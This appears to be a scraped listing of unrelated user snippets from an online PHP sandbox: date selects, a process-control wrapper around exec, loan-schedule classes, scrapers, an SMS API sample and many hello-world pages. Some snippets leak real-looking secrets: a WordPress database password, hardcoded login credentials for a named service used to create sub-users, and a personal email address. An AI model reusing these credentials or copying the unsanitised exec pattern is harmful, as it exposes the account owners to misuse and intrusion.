<!-- --------------------GIORNO--------------------------> <select name="giorno"> <?php // vediamo in quale mese siamo $m = (strftime("%m")); //mesi da 31 if(($m=="01")||($m=="03")||($m=="05")||($m=="07")||($m=="08")||($m=="10")||($m=="12") ){ $qm = "31"; } //mesi da 30 else if( ($m=="04")||($m=="06")||($m=="09")||($m=="11") ){ $qm = "30"; } //febbraio else if($m=="02"){ //vediamo se anno bisestile if (checkdate(2,29,$year) ){ $qm = "29"; }else{ $qm = "28"; } } for($i=1;$i<=$qm;$i++){ ?> <option value"<?php echo $i?>"><?php echo $i?></option> <?php } ?></select> <!-- --------------------MESE--------------------------> <select name="mese"> <?php for($i=1;$i<13;$i++){ ?> <option value"<?php echo $i?>"><?php echo $i?></option> <?php } ?></select> <!-- --------------------ANNO--------------------------> <select name="anno"> <?php $a_inizio = (strftime("%Y")-20); $a_fine = (strftime("%Y")+20); for($i=$a_inizio;$i<$a_fine;$i++){ ?> <option value="<?php echo $i?>">><?php echo $i?></option> <?php } ?></select> <!-- --------------------MESE CON NOME--------------------------> <?php //SE VUOI NOMI MESI $mesi = array( Gennaio, Febbraio, Marzo, Aprile, Maggio, Giugno, Luglio, Agosto, Settembre, Ottobre, Novembre, Dicembre ); ?> <select name="mese"> <?php for($i=0;$i<12;$i++){ ?> <option value="<?php echo $i+1; ?>"><?php echo $mesi[$i]?></option> <?php } ?></select>

gfgf

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Maria-Nikolina Baketarić!</h1>\n"; ?> </body> </html>

114rgfwfrv

<?php // You may use status(), start(), and stop(). notice that start() method gets called automatically one time. $process = new Process('ls -al'); // or if you got the pid, however here only the status() metod will work. $process = new Process(); $process.setPid(my_pid); ?> <?php // Then you can start/stop/ check status of the job. $process.stop(); $process.start(); if ($process.status()){ echo "The process is currently running"; }else{ echo "The process is not running."; } ?> <?php /* An easy way to keep in track of external processes. * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it. * @compability: Linux only. (Windows does not work). * @author: Peec */ class Process{ private $pid; private $command; public function __construct($cl=false){ if ($cl != false){ $this->command = $cl; $this->runCom(); } } private function runCom(){ $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!'; exec($command ,$op); $this->pid = (int)$op[0]; } public function setPid($pid){ $this->pid = $pid; } public function getPid(){ return $this->pid; } public function status(){ $command = 'ps -p '.$this->pid; exec($command,$op); if (!isset($op[1]))return false; else return true; } public function start(){ if ($this->command != '')$this->runCom(); else return true; } public function stop(){ $command = 'kill '.$this->pid; exec($command); if ($this->status() == false)return true; else return false; } } ?> up down 23 msheakoski @t yahoo d@t com ¶13 years ago I too wrestled with getting a program to run in the background in Windows while the script continues to execute. This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all. llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden. start Notepad.exe minimized in the background: <?php $WshShell = new COM("WScript.Shell"); $oExec = $WshShell->Run("notepad.exe", 7, false); ?> start a shell command invisible in the background: <?php $WshShell = new COM("WScript.Shell"); $oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false); ?> start MSPaint maximized and wait for you to close it before continuing the script: <?php $WshShell = new COM("WScript.Shell"); $oExec = $WshShell->Run("mspaint.exe", 3, true); ?> <?php $test = new PaymentScheduleHelper(23/12, 36, 7900); echo "Rate: ".$test->getInterestRate()."\n"; echo "Term: ".$test->getTerm()."\n"; echo "Value: ".$test->getPresentvalue()."\n"; echo "Future: ".$test->getFutureValue()."\n"; echo "PayAt: ".$test->getPayAt()."\n"; echo "MonthlyPayment: ".$test->getMonthlyPayment()."\n"; //$test->drawSchedule(); /*echo "PMT: ".InterestRateUtils::calculatePMT(23/12/100, 36, 7900)."\n"; echo "FV: ".InterestRateUtils::calculateFV(23/12/100, 11, -305.80680029236, 7900)."\n"; echo "IPMT: ".InterestRateUtils::calculateIPMT(23/12/100, 12, 36, 7900)."\n"; echo "PPMT: ".InterestRateUtils::calculatePPMT(23/12/100, 12, 36, 7900)."\n";*/ test /** * @ORM\HasLifecycleCallbacks() */ trait Timestampable { /** * @var DateTime * * @ORM\Column(name="created_at", type="datetime", nullable=false) */ private $createdAt; /** * @var DateTime * * @ORM\Column(name="updated_at", type="datetime") */ private $updatedAt; /** * @return DateTime */ public function getCreatedAt() { return $this->createdAt; } /** * @return DateTime */ public function getUpdatedTimestamp() { return $this->updatedAt; } /** * @param DateTime $v * * @return $this */ public function setCreatedAt(DateTime $v) { $this->createdAt = $v; return $this; } /** * @param DateTime $v * * @return $this */ public function setUpdatedAt(DateTime $v) { $this->updatedAt = $v; return $this; } /** * @ORM\PrePersist * * @return null */ public function autoCreatedAt() { $this->createdAt = new \DateTime(); } /** * @ORM\PreUpdate * * @return null */ public function autoUpdatedAt() { $this->updatedAt = new \DateTime(); } } class LoanAgreementStatus { const STATUS_ACTIVE = 1000; const STATUS_ARREARS_1 = 1010; const STATUS_ARREARS_2 = 1011; const STATUS_ARREARS_3 = 1012; const STATUS_ARREARS_4 = 1013; const STATUS_ARREARS_5 = 1014; const STATUS_ARREARS_6 = 1015; const STATUS_ARRANGEMENT = 1050; const STATUS_DEBT_MANAGEMENT = 1060; const STATUS_IVA = 1060; const STATUS_PARTIALLY_SETTLED = 1450; const STATUS_SETTLED = 1500; const STATUS_DEFAULT = 2000; } class LoanAgreementFrequency { const FREQUENCY_DAILY = 100; const FREQUENCY_WEEKLY = 200; const FREQUENCY_BIWEEKLY = 300; const FREQUENCY_MONTHLY = 400; const FREQUENCY_QUARTERLY = 500; const FREQUENCY_YEARLY = 600; } interface LoanAgreementInterface { /** * @return LoanAgreement */ public function getId(); /** * @return LoanProductType */ public function getLoanProductType(); /** * @return decimal */ public function getInitialAgreementValue(); /** * @return decimal */ public function getAnnualRate(); /** * @return decimal */ public function getDailyRate(); /** * @return string */ public function getRepaymentFrequency(); /** * @return decimal */ public function getRepaymentFrequencyRate(); /** * @return decimal */ public function getRepaymentValue(); /** * @return int */ public function getRepaymentDay(); /** * @return int */ public function getStatus(); /** * @return DateTime */ public function getStatusTimestamp(); /** * @return DateTime */ public function getMatchedTimestamp(); /** * @return DateTime */ public function getActiveTimestamp(); /** * @return DateTime */ public function getTerminationTimestamp(); } abstract class BaseAgreement implements LoanAgreementInterface { /** * @var string $id * * @Id * @Column(name="loan_agreement_id", type="integer") * @GeneratedValue */ protected $id; /** * @var int */ protected $loanProductType; /** * @var decimal * * @ORM\Column(name="initial_agreement_value", type="decimal", precision=14, scale=6) */ protected $initialAgreementValue; /** * @var decimal * * @ORM\Column(name="apr", type="decimal", precision=9, scale=5) */ protected $apr; /** * @var decimal * * @ORM\Column(name="annual_rate", type="decimal", precision=9, scale=5) */ protected $annualRate; /** * @var decimal * * @ORM\Column(name="regular_repayment_value", type="decimal", precision=11, scale=5) */ protected $regularRepaymentValue; /** * @var int * * @ORM\Column(name="repayment_frequency", type="smallint") */ protected $repaymentFrequency; /** * @var decimal * * @ORM\Column(name="repayment_frequency_rate", type="decimal", precision=9, scale=5) */ protected $repaymentFrequencyRate; /** * @var int * * @ORM\Column(name="repayment_day", type="smallint") */ protected $repaymentDay; /** * @var int * * @ORM\Column(name="status", type="smallint") */ protected $status; /** * @var DateTime * * @ORM\Column(name="status_timestamp", type="datetime") */ protected $statusTimestamp; /** * @var DateTime * * @ORM\Column(name="matched_timestamp", type="datetime") */ protected $matchedTimestamp; /** * @var DateTime * * @ORM\Column(name="active_timestamp", type="datetime") */ protected $activeTimestamp; /** * @var DateTime * * @ORM\Column(name="termination_timestamp", type="datetime") */ protected $terminationTimestamp; public function __construct() { } } /** * Represents an Peer to Peer loan agreement. * * @ORM\Entity * @ORM\Table(name="consumer_peer_loan_agreement") */ class ConsumerPeerLoanAgreement extends BaseAgreement { use Timestampable; /** * @var FundingRequest * * @ManyToOne(targetEntity="FundingRequest") * @JoinColumn(name="funding_request_id", referencedColumnName="funding_request_id") */ private $fundingRequest; /** * @var FundingOffer * * @ManyToOne(targetEntity="FundingOffer") * @JoinColumn(name="funding_offer_id", referencedColumnName="funding_offer_id") */ private $fundingOffer; /** * @var Account * * @ManyToOne(targetEntity="Account") * @JoinColumn(name="current_lender_account_id", referencedColumnName="account_id") */ private $currentLenderAccount; /** * @var ArrayCollection[] * * @ORM\ManyToMany(targetEntity="PaymentSchedule", inversedBy="loanAgreements") * @ORM\JoinTable(name="consumer_peer_loan_agreements_payment_schedules") */ private $paymentSchedules; public function __construct() { $this->paymentSchedules = new ArrayCollection(); } } interface PaymentScheduleInterface { /** * @return PaymentSchedule */ public function getId(); /** * @return ArrayCollection[] */ public function getLoanAgreements(); /** * @return decimal */ public function getInitialValue(); /** * @return decimal */ public function getRepaymentRate(); /** * @return decimal */ public function getRepaymentFrequency(); /** * @return decimal */ public function getRepaymentFrequencyRate(); /** * @return decimal */ public function getRepaymentDay(); /** * @return datetime */ public function getFirstPaymentDate(); /** * @return int */ public function getInterestCalculationType(); /** * @return decimal */ public function getLatePaymentFee(); /** * @return int */ public function getLatePaymentMethod(); /** * @return decimal */ public function getInterestPayableType(); /** * @return DateTime */ public function getFreezeInterest(); /** * @return Boolean */ public function isInterestFrozen(); /** * @return int */ public function getDayCountConvention(); /** * @return int */ public function getPurpose(); /** * @return int */ public function getStatus(); } abstract class PaymentSchedule implements PaymentScheduleInterface { /** * @var string $id * * @Id * @Column(name="payment_schedule_id", type="integer") * @GeneratedValue */ private $id; /** * Many Groups have Many Users. * @ManyToMany(targetEntity="LoanAgreementPaymentSchedule", mappedBy="paymentSchedules") */ private $loanAgreements; /** * @var decimal * * @ORM\Column(name="initial_value", type="decimal", precision=11, scale=5) */ private $initialValue; /** * @var decimal * * @ORM\Column(name="repayment_rate", type="decimal", precision=9, scale=5) */ private $repaymentRate; /** * @var int * * @ORM\Column(name="repayment_frequency", type="smallint") */ private $repaymentFrequency; /** * @var decimal * * @ORM\Column(name="repayment_frequency_rate", type="decimal", precision=9, scale=5) */ private $repaymentFrequencyRate; /** * @var int * * @ORM\Column(name="repayment_day", type="smallint") */ private $repaymentDay; /** * @var decimal * * @ORM\Column(name="first_payment_date", type="date") */ private $firstPaymentDate; /** * @var decimal * * @ORM\Column(name="interest_calculation_type", type="smallint") */ private $interestCalculationType; /** * @var decimal * * @ORM\Column(name="late_payment_fee", type="decimal", precision=11, scale=5) */ private $latePaymentFee; /** * @var decimal * * @ORM\Column(name="late_payment_method", type="smallint") */ private $latePaymentMethod; /** * @var decimal * * @ORM\Column(name="interest_payable_type", type="smallint") */ private $interestPayableType; /** * @var DateTime * * @ORM\Column(name="freeze_interest", type="datetime") */ protected $freezeInterest; /** * @var decimal * * @ORM\Column(name="day_count_convention", type="smallint") */ private $dayCountConvention; /** * @var decimal * * @ORM\Column(name="purpose", type="smallint") */ private $purpose; /** * @var decimal * * @ORM\Column(name="status", type="smallint") */ private $status; public function __construct() { $this->loanAgreements = new ArrayCollection(); echo 'test'; } } class ConsumerPeerLoanAgreementPaymentSchedule extends PaymentSchedule { public function __construct() { $this->loanAgreements = new ArrayCollection(); echo 'test'; } } $ps = new ConsumerPeerLoanAgreementPaymentSchedule(); trait PaymentScheduleHelper { public function __construct($interestRate = null, $term = null, $presentValue = null, $futureValue = 0, $payAt = 0) { $this->setInterestRate($interestRate); $this->setTerm($term); $this->setPresentValue($presentValue); $this->setFutureValue($futureValue); $this->setPayAt($payAt); $this->setMonthlyPayment( InterestRateUtils::calculatePMT( $this->getInterestRate(), $this->getTerm(), $this->getPresentValue(), $this->getFutureValue(), $this->getPayAt()) ); $this->autoRegnerate = true; $this->generateSchedule(); } public function calculateSchedule() { $t = $this->getTerm(); // Term in months $p = 1; // Current repayment period $ir = $this->getRegularRepaymentRate(); // Repayment rate based on frequency, e.g. monthly / annually $f = $this->getRegularRepaymentFrequency(); // Repayment frequency e.g. monthly / annually $day = $this->getRegularRepaymentDay(); // Repayment day $pv = $this->getPresentValue(); $start = $this->getScheduleStartDate(); $d = clone $start; do { $monthlyContractPrincipal = InterestRateUtils::calculatePPMT($ir, $p, $t, $pv); $monthlyContractInterest = InterestRateUtils::calculateIPMT($ir, $p, $t, $pv); $startBalance = $p==1 ? $v : $schedule[$p-1]['end_balance']; $cumulativePrincipal += $monthlyContractPrincipal; $cumulativeInterest += $monthlyContractInterest; $endPrincipal = $pv - $cumulativePrincipal; $startPrincipal = $endPrincipal + $monthlyContractPrincipal; $schedule[$p] = [ 'date' => $d, 'period' => $p, 'remaining_periods' => $t-$p, 'principal' => $monthlyContractPrincipal, 'interest' => $monthlyContractInterest, 'payment' => $this->getMonthlyPayment(), 'start_balance' => $startPrincipal, 'end_balance' => $endPrincipal ]; // Setup next period $d->modify("+ 1$f"); $p++; } while ($p <= $t) } private $interestRate; private $term; private $presentValue; private $futureValue; private $payAt; private $monthlyPayment; private $paymentSchedule; private $autoRegnerate; public function __call($method, $args) { if (!method_exists($this, $method)) { throw new Exception("Call to undefined method ".__CLASS__."::$method()"); } $return = call_user_func_array(array($this,$method), $arguments); if ($this->autoRegnerate) { $this->generateSchedule(TRUE); } return $return; } public function getFullSchedule($regenerate = FALSE) { if (is_null($this->paymentSchedule) || $regenerate) { $this->generateSchedule($regenerate); } return $this->paymentSchedule; } public function getSchedulePeriod($period) { if ($period > $this->getTerm() || $period < 1) { throw new Exception('Invalid period specified'); } return $this->paymentSchedule[$period]; } public function generateSchedule($overwrite = TRUE) { if (is_null($this->paymentSchedule) || $overwrite) { for ($period=1; $period<=$this->getTerm(); $period++) { $principal = InterestRateUtils::calculatePPMT($this->getInterestRate(), $period, $this->getTerm(), $this->getPresentValue()); $interest = InterestRateUtils::calculateIPMT($this->getInterestRate(), $period, $this->getTerm(), $this->getPresentValue()); $startBalance = $period==1 ? $this->getPresentValue() : $schedule[$i-1]['end_balance']; $schedule[$period] = [ 'period' => $period, 'principal' => $principal, 'interest' => $interest, 'payment' => $this->getMonthlyPayment(), 'start_balance' => $startBalance, 'end_balance' => $startBalance-$principal, 'remaining_periods' => $this->getTerm()-$i ]; } $this->paymentSchedule = $schedule; } return $this; } public function drawSchedule() { $schedule = $this->getFullSchedule(); echo "<table>"; foreach ($schedule as $period => $values) { echo "<tr><td>$period</td><td>$values[payment]</td><td>$values[principal]</td><td>$values[interest]</td></tr>"; } echo "</table>"; $vars = "<p>test</p>"; print_r($vars); } public function setInterestRate($rate = null) { if (!is_numeric($rate)) { throw new Exception('Numeric value required'); } $this->interestRate = $rate / 100; } public function getInterestRate() { return $this->interestRate; } public function setTerm($term = null) { if (!is_numeric($term)) { throw new Exception('Numeric value required'); } $this->term = $term; } public function getTerm() { return $this->term; } public function setPresentValue($value = null) { if (!is_numeric($value)) { throw new Exception('Numeric value required'); } $this->presentValue = $value; } public function getPresentValue() { return $this->presentValue; } public function setFutureValue($value = null) { if (!is_numeric($value)) { throw new Exception('Numeric value required'); } $this->futureValue = $value; } public function getFutureValue() { return $this->futureValue; } public function setPayAt($payAt = null) { if (!is_numeric($payAt)) { throw new Exception('Numeric value required'); } $this->payAt = $payAt; } public function getPayAt() { return $this->payAt; } public function setMonthlyPayment($pmt = null) { if (!is_numeric($pmt)) { throw new Exception('Numeric value required'); } $this->monthlyPayment = $pmt; } public function getMonthlyPayment() { return $this->monthlyPayment; } public function setAutoRegenerate($autoRegenerate = null) { $this->autoRegenerate = (bool)$autoRegenerate; } public function getAutoRegenerate() { return $this->autoRegenerate; } } class InterestRateUtils { public static function calculatePMT($ir = null, $t = null, $pv = null, $fv = 0, $payAt = 0) { self::checkDataTypes(['interestRate' => $ir, 'term' => $t, 'presentValue' => $pv, 'futureValue' => $fv, 'payAt' => $payAt]); $pmt = ($ir / (((1+$ir)**$t - 1))) * -($pv * (1+$ir)**$t + $fv); if ($payAt == 1) { $pmt = $pmt / (1 + $ir); } return $pmt; } public static function calculateFV($ir = null, $t = null, $pmt = null, $pv = 0, $payAt = 0) { self::checkDataTypes(['interestRate' => $ir, 'term' => $t, 'presentValue' => $pv, 'pmt' => $pmt, 'payAt' => $payAt]); if ($payAt == 1) { $pmt = $pmt * (1 + $ir); } $fv = (($pmt * ((1+$ir)**$t - 1)) / $ir) + ($pv * (1+$ir)**$t); return $fv; } public static function calculateIPMT($ir = null, $p = null, $t = null, $pv = null, $fv = 0, $payAt = 0) { self::checkDataTypes(['period' => $p]); $ipmt = self::calculateFV($ir, $p-1, self::calculatePMT($ir, $t, $pv, $fv, $payAt), $pv, $payAt) * $ir; if ($payAt == 1) { $ipmt = $ipmt / (1 + $ir); } return $ipmt; } public static function calculatePPMT($ir = null, $p = null, $t = null, $pv = null, $fv = 0, $payAt = 0) { $ppmt = -self::calculatePMT($ir, $t, $pv, $fv, $payAt) - self::calculateIPMT($ir, $p, $t, $pv, $fv, $payAt); return $ppmt; } private static function checkDataTypes($args) { $allowed_params = ['interestRate', 'term', 'presentValue', 'futureValue', 'payAt', 'pmt', 'period']; if (!is_array($args)) { throw new Exception('Array type required'); } foreach ($args as $arg=>$value) { if (!in_array($arg, $allowed_params)) { throw new Exception('Invalid argument'); } self::{'check'.$arg}($value); } } private static function checkInterestRate($rate) { if (!is_numeric($rate)) { throw new Exception('Numeric interest rate value required'); } } private static function checkTerm($term) { if (!is_numeric($term)) { throw new Exception('Numeric term value required'); } elseif (!is_int($term)) { throw new Exception('Integer period required'); } elseif ($term < 0) { throw new Exception('Term cannot be less than 0'); } } private static function checkPresentValue($value) { if (!is_numeric($value)) { throw new Exception('Numeric present value required'); } } private static function checkFutureValue($value) { if (!is_numeric($value)) { throw new Exception('Numeric future value required'); } } private static function checkPayAt($payAt) { if (!is_numeric($payAt)) { throw new Exception('Boolean pay at value required'); } } private static function checkPMT($pmt) { if (!is_numeric($pmt)) { throw new Exception('Numeric monthly payment value required'); } } private static function checkPeriod($period, $term) { if (!is_numeric($period)) { throw new Exception('Numeric interest rate value required'); } elseif (!is_int($period)) { throw new Exception('Integer period required'); } elseif ($period < 0) { throw new Exception('Period cannot be less than 0'); } elseif ($period > $term) { throw new Exception('Period cannot be more than the term'); } } }

myproject

// ** MySQL Settings ** // /** The name of the database for WordPress */ define('DB_NAME', 'joe1337_wrdp1'); /** MySQL database username */ define('DB_USER', 'joe1337_wp1'); /** MySQL database password */ define('DB_PASSWORD', 'eHTb7%Pxa9'); /** MySQL hostname */ define('DB_HOST', 'localhost');

hgcgchgch

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

https://pt.stackoverflow.com/q/247899/101

<?php echo gettype($var) . ' - '; $var; echo gettype($var) . ' - '; $var = ''; echo gettype($var) . ' - '; $var = 'teste'; echo gettype($var); //https://pt.stackoverflow.com/q/247899/101

Separate digits and text

<?php print_r(divide_sample('центр25')); function divide_sample($sample_number) { preg_match("/([^\d]+)(\d+)/", $sample_number, $pieces); return [$pieces[1], $pieces[2]]; }

Kishore

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

gerar.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_height="match_parent" android:layout_width="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"> <TextView android:text="@string/hello_world" android:layout_width="wrap_content" android:layout_height="wrap_content" /> <com.google.android.gms.ads.AdView xmlns:ads="http://schemas.android.com/apk/res-auto" android:id="@+id/adView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_alignParentBottom="true" ads:adSize="BANNER" ads:adUnitId="ca-app-pub-7715210360510192/1842424005"> </com.google.android.gms.ads.AdView> </RelativeLayout> <?php $name = "Misha"; $cool = "name"; echo "test, ${$cool}" ; ?> <?php /*** Matches the datamatrix strings ***/// $regex = "/\|([a-zA-Z0-9-@\/.]{0,})/"; $datamatrix = "|AG02|7|EBT|1|7609515||4674B|3311||T|12565|31703181300056|hans.mic76@gmail.com||||5318500|9010100|689.00|||8|145|||||||E-ID-304/22|84729.02||"; preg_match_all($regex, $datamatrix, $matches); //print_r($matches); /*** print the array ***/// <button type="button" onclick="print_data('web')">BV Web!</button> <button type="button" onclick="print_data('suspect')">BV AGEFOS Suspect!</button> function print_data($type){ $array = array( "Version" => $matches[1][0], "Periode" => $matches[1][1], "TYP_DOC" => $matches[1][2], "PARTENAIRE" => $matches[1][3], "ENT_ID_AGEFOS" => $matches[1][4], "ENT_ID_PARTENAIRE" => $matches[1][5], "CODE APE" => $matches[1][6], "CODE IDCC" => $matches[1][7], "CODE BRANCHE" => $matches[1][8], "CODE_GRP_1" => $matches[1][9], "CODE_GRP_2" => $matches[1][10], "ENT_NUM_SIRET" => $matches[1][11], "ENT_EMAIL" => $matches[1][12], "CAB_NUM_SIRET" => $matches[1][13], "CAB_EMAIL" => $matches[1][14], "MS_FPC" => $matches[1][15], "MS_TA hors AM" => $matches[1][16], "EFFECTIF_MT" => $matches[1][17], "EFFECTIF_F" => $matches[1][18], "EFFECTIF_H" => $matches[1][19], "NB_APPRENTIS" => $matches[1][20], "NB_JOURS_STAG_A" => $matches[1][21], "NB_JOURS_STAGE_B" => $matches[1][22], "ANNEE_FRANCHISSEMENT_SEUIL" => $matches[1][23], "MS_CDD" => $matches[1][24], "EFFECTIF_CDD_MT" => $matches[1][25], "EFFECTIF_CDD_F" => $matches[1][26], "EFFECTIF_CDD_H" => $matches[1][27], "NUM_BV" => $matches[1][28], "MONTANT_TTC" => $matches[1][29] ); switch ($type) { case 'web': echo "web"; break; case 'suspect': echo "suspect"; break; } //print_r($array); } #!/usr/bin/perl use CGI':standard'; print "content-type:text/html","\n\n"; print "<html>\n"; print "<head> <title> About this server </title> </head>\n"; print "<body><h1> About this server </h1>","\n"; print "<hr>"; print "Server name :",$ENV{'SERVER_NAME'},"<br>"; print "Running on port :",$ENV{'SERVER_PORT'},"<br>"; print "Server Software :",$ENV{'SERVER_SOFTWARE'},"<br>"; print "CGI-Revision :",$ENV{'GATEWAY_INTERFACE'},"<br>"; print "<hr>\n"; print "</body></html>\n"; exit(0);

meon.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

hospital

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

mbjk

<?php class Student { public $name="ssss"; public $marks="5"; function p() { echo $this->marks; } }; class P extends Student { function o($m) { echo $this->p(); return $this->marks=$m; } } $ob=new Student(); echo $ob->name; $o=new Student(); $o->p(); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } function decodeSecret($secret) { return base64_decode(strrev(hex2bin($secret))); } echo decodedSecret($encodedSecret); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $cookie = realpath('cookie.txt'); $headers = [ 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language:uk-UA,uk;q=0.8,ru;q=0.6,en-US;q=0.4,en;q=0.2', 'Cache-Control:max-age=0', 'Connection:keep-alive', 'Host:www.lark.ru', 'User-Agent:Mozilla/5.0 (Windows 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91', ]; function article($page){ global $cookie, $headers, $config; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://pressa.tv/interesnoe/71913-issledovatel-ostavil-kameru-na-lednike-no-to-chto-ona-snyala-poverglo-ego-v-shok-3-foto-video.html"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $output = curl_exec($ch); echo $output; curl_close($ch); preg_match_all('/<div class="(my_)?forum_message"><span style="color:#800080"><a href=".+?">(.+?)<\/a><\/span><span class="mini">(.+?)<\/span><br \/>(|[\s\S]+?)<br \/>(?: <a href="reply.lm\?&amp;theme_id=(\w+?)&amp;reply_to=.+?&amp;a=.+?" class="forum_btn">ответ<\/a>|<a class="forum_btn" href="user\/edit_post.lm\?message_id=(\w+?)&amp;theme_id=.+?">редактировать \((.+?)\)<\/a><br \/>)?<\/div>/i',$output, $post, PREG_SET_ORDER); //var_dump($post); }; article('go');?> </body> </html>

rohit

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

CreateUser

<?php $baseUrl = "https://www.direct.pruvan.com"; $loginUrl = $baseUrl . "/v2/login"; $rpcUrl = $baseUrl . "/srv/rpc.html"; $regexToken = '/token = \"(.*?)\"/i'; $username = 'Northsight_Integration'; $password = 'N151Pruvan1!'; function regexExtract($text, $regex, $regs, $nthValue) { if (preg_match($regex, $text, $regs)) { $result = $regs[$nthValue]; } else { $result = "; } return $result; } $postData = 'payload={"username":"' . $username . '","password":"' . $password . '"}'; $ch = curl_init(); //Perform a GET curl_setopt($ch, CURLOPT_POST, FALSE); curl_setopt($ch, CURLOPT_URL, $loginUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_VERBOSE, true); $data = curl_exec($ch); //Grab the CSRF Token $regs = array(); $token = regexExtract($data,$regexToken,$regs,1); //Perform a POST to Login to your Pruvan account curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); $headers = array(); $headers[] = "X-CSRF-Token: $token"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $data = curl_exec($ch); $redirectUrl = $baseUrl . "/v2/index.html"; //Perform a GET on the re-direct curl_setopt($ch, CURLOPT_POST, FALSE); curl_setopt($ch, CURLOPT_URL, $redirectUrl); $data = curl_exec($ch); //Grab the CSRF Token $regs = array(); $token = regexExtract($data,$regexToken,$regs,1); $newUsername = 'newsubuser'; $newPassword = 'newpassword'; //roleId = 2 is for Crew $postData = 'rpc={"rpcClass":"prvUserMgmt", "rpcMethod":"createSubUserUx", "rpcSignature":"std", "args":{"userRec":{"username":"' . $newUsername . '", "password":"' . $newPassword . '", "firstName":", "lastName":", "email":", "roleId":"2", "check_in_number":", "invoiceMode":"workorder", "invoiceMargin":"}}}'; //Perform a POST to create the user curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_URL, $rpcUrl); $headers = array(); $headers[] = "X-CSRF-Token: $token"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //Is it a success? $data = curl_exec($ch); print("\n\n"); $decoded = json_decode($data); if ($decoded->success == true) { print("User successfully created\n"); } else { print("ERROR: $decoded->error\n\n"); }?>

aaaaa

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

EXP123

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; $s="HEllO"; echo "Testing $s"; ?> </body> </html>

ABCd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

php-curl-sms-sample-test-live

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'YourUsername'; $password = 'YourPaswword'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '9199999999999,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } <html> <head> <title>Online PHP Script Execution</title> </head> </html>

zasas

<form method="post"> FirstName<input type="text" name="fname"/> <input type="submit" name="submit" value="save"/> </form> <table border='1px'> <thead> <tr> <th>Firstname</th> </tr> </thead> <tbody> <tr> <td>echo $_POST['ID'];</td> </tr> </tbody> </table>

Heklo

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

suba

